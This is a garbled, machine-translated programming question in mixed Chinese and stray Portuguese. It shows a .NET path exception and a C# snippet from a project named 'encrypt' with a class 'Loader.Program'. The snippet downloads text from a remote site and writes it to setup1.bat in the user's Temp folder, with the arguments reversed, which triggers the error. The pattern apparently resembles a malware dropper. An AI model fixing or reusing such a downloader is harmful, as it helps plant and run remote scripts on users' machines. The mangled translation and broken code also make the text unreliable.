在“路径”中获取无效字符

Question

System.ArgumentException: invalid characters in the "path".em System.IO.Path.CheckInvalidPathChars（字符串路径，布尔checkAdditional）em System.IO.Path.GetFileName（字符串路径）em System.IO.StreamWriter.CreateFile（字符串路径，布尔追加，布尔checkHost）em System.IO。 StreamWriter..ctor（字符串路径，布尔值附加，编码编码，Int32 bufferSize，布尔值检查主机）em System.IO.StreamWriter..ctor（字符串路径，布尔值附加，编码编码）em System.IO.File.InternalAppendAllText（字符串路径，字符串内容，编码编码）em System.IO.File.AppendAllText（字符串路径，字符串内容）em Loader.Program.Main（String [] args）na C：\ Users \ Muni \ source \ repos \ encrypt \ encrypt \ Program.cs：林哈4444行string name = Environment.UserName;string temp = "C:\\Users\\" + name + "\\AppData\\Local\\Temp\\setup1.bat";string tempe = new WebClient().DownloadString("website/setup1.txt");                    File.AppendAllText(tempe, temp);